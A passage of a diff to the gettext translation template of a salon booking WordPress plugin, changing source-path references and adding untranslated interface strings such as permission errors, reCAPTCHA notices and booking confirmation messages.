System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:345\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:302\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:345\n+msgid \"You can use [DATE], [TIME], [NAME], [SALON NAME]\"\n msgstr \"\"\n \n-#. translators: s%1$ will be replaced by service name, %2$s will be replaced by booking time\n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:128, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:128, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:128, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:128, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:128, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FResourceStep.php:128\n-msgid \"There is no resources available for %1$s service at %2$s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:292\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:341\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:292\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:341\n+msgid \"You can use [DATE], [TIME], [SALON NAME]\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:30, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:30, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:30\n-msgid \"You need to choose \"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:236\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:260\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:276\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:288\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_onesignal.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:236\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:260\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:276\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_sms.php:288\n+msgid \"You can use [NAME], [SALON NAME], [DATE], [TIME], [PRICE], [BOOKING ID]\"\n msgstr \"\"\n \n-#. translators: %s the name of the secondary count\n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:32\n-msgid \"%d service\"\n-msgid_plural \"%d services\"\n-msgstr[0] \"\"\n-msgstr[1] \"\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:424\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:484\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:424\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:484\n+msgid \"You can use this dynamic tags: [NAME], [SALON NAME]\"\n+msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:99, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:99, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:99\n-msgid \"Something more?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:186\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FTaxonomyType\u002FServiceCategory.php:186\n+msgid \"You cannot modify this taxonomy.\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FServicesStep.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FServicesStep.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FServicesStep.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FServicesStep.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FServicesStep.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FServicesStep.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetDefaultBookingStatus.php:18\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FDuplicateClone.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FInstallPerformanceIndexes.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FDismissPerformanceIndexesNotice.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingOnProcess.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingStatus.php:18\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetDefaultBookingStatus.php:18\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FDuplicateClone.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FInstallPerformanceIndexes.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FDismissPerformanceIndexesNotice.php:11\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingOnProcess.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingStatus.php:18\n+msgid \"You do not have permission to perform this action.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FRollback.php:79\n+msgid \"You do not have sufficient permissions to perform this action.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:42\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:37\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetBookingRating.php:41\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FCancelBooking.php:42\n+msgid \"You don't have access\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveDailyHolydays.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetCustomText.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveHolydayRule.php:106\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAddHolydayRule.php:80\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveDailyHolydays.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FSetCustomText.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRemoveHolydayRule.php:106\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FAddHolydayRule.php:80\n+msgid \"You don't have permissions\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:70\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:70\n+msgid \"\"\n+\"You don't have upcoming reservations, do you want to re-schedule your last \"\n+\"appointment with us?\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:165\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:165\n+msgid \"You have %d assistant(s).\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:187\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:187\n+msgid \"You have %d service(s).\"\n+msgstr \"\"\n+\n+#. %s will be replaced by the remaining payment time\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:33\n+#, php-format\n+msgid \"\"\n+\"You have \u003Cstrong>%s\u003C\u002Fstrong> to complete your payment before this \"\n+\"reservation is canceled\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:330\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:330\n+msgid \"You have an active internet connection\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:134\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:134\n+msgid \"\"\n+\"You have enabled reCAPTCHA protection, but both Site Key and Secret Key are \"\n+\"required. Please enter your keys above or uncheck \\\"Enable reCAPTCHA \"\n+\"Protection\\\".\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:274\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:274\n+msgid \"You have entered the wrong data\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FServicesStep.php:40\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FServicesStep.php:40\n msgid \"You must choose at least one service\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:45, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:45, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:45\n-msgid \"Phone number wrong or not defined, you need to define a valid phone number\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSecondaryStep.php:30\n+msgid \"You need to choose \"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:87, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:87, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:87, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:87, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:87, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:87\n-msgid \"Your verification code is not valid\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:207\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:207\n+msgid \"You need to match your CSV file data with Salon Booking database\"\n msgstr \"\"\n \n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:109, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:109, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:109, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:109\n-msgid \"SMS\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsms\u002Fpending.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fpending.php:8\n+msgid \"you reservation well be reviewd soon\"\n msgstr \"\"\n \n-#. translators: %s will be replaced by the minimum order amount\n-#: src\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:219, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:219, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:219, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:219, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:219, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FStep.php:219\n-msgid \"The minimum order amount is %s\"\n+#. %1$s will be replaced by the phone number, %2$s will be replaced by the email\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:42\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_alert.php:42\n+#, php-format\n+msgid \"\"\n+\"You will receive a booking confirmation by email.If you do not receive an \"\n+\"email in 5 minutes, check your Junk Mail or Spam Folder. If you need to \"\n+\"change your reservation, please call \u003Cstrong>%1$s\u003C\u002Fstrong> or send an e-mail \"\n+\"to \u003Cstrong>%2$s\u003C\u002Fstrong>.\"\n 